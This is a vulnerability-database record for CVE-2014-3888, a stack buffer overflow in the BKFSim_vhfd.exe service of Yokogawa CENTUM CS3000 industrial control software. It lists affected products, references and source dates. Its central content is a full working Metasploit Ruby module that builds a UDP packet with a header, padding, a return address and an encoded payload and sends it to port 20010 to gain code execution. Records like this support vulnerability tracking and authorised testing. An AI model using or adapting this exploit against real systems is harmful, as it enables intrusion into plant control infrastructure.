ID
VAR-E-201407-0158
CVE
| cve_id: | CVE-2014-3888 | Trust: 3.0 |
EDB ID
34009
TITLE
Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit). CVE-2014-3888CVE-108756 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | yokogawa | model: | cs3000 | scope: | - | version: | - | Trust: 1.0 |
| vendor: | yokogawa | model: | cs3000 bkfsim vhfd.exe | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
'Description' => %q{
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
logs using functions like vsprintf and memcpy in a insecure way. This module has been
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'Redsadic <julian.vilas[at]gmail.com>',
'juan vazquez'
],
'References' =>
[
['CVE', '2014-3888'],
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
],
'Payload' =>
{
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
'Offset' => 438
}
],
],
'DisclosureDate' => 'May 23 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20010)
], self.class)
end
def exploit
connect_udp
sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
sploit << rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << payload.encoded
print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
udp_sock.put(sploit)
disconnect_udp
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit)
Trust: 1.0
TAGS
| tag: | Metasploit Framework (MSF) | Trust: 1.0 |
| tag: | exploit | Trust: 0.5 |
| tag: | overflow | Trust: 0.5 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2014-3888 | Trust: 3.0 |
| db: | JVN | id: | JVNVU95045914 | Trust: 2.7 |
| db: | EXPLOIT-DB | id: | 34009 | Trust: 1.6 |
| db: | EDBNET | id: | 55393 | Trust: 0.6 |
| db: | 0DAYTODAY | id: | 22415 | Trust: 0.6 |
| db: | EDBNET | id: | 22140 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 127382 | Trust: 0.5 |
| db: | BID | id: | 68428 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2014-3888 | Trust: 2.7 |
| url: | https://www.exploit-db.com/exploits/34009/ | Trust: 0.6 |
| url: | https://0day.today/exploits/22415 | Trust: 0.6 |
SOURCES
| db: | BID | id: | 68428 |
| db: | PACKETSTORM | id: | 127382 |
| db: | EXPLOIT-DB | id: | 34009 |
| db: | EDBNET | id: | 55393 |
| db: | EDBNET | id: | 22140 |
LAST UPDATE DATE
2022-07-27T09:58:44.945000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 68428 | date: | 2014-08-27T00:04:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 68428 | date: | 2014-07-07T00:00:00 |
| db: | PACKETSTORM | id: | 127382 | date: | 2014-07-07T21:21:29 |
| db: | EXPLOIT-DB | id: | 34009 | date: | 2014-07-08T00:00:00 |
| db: | EDBNET | id: | 55393 | date: | 2014-07-08T00:00:00 |
| db: | EDBNET | id: | 22140 | date: | 2014-07-08T00:00:00 |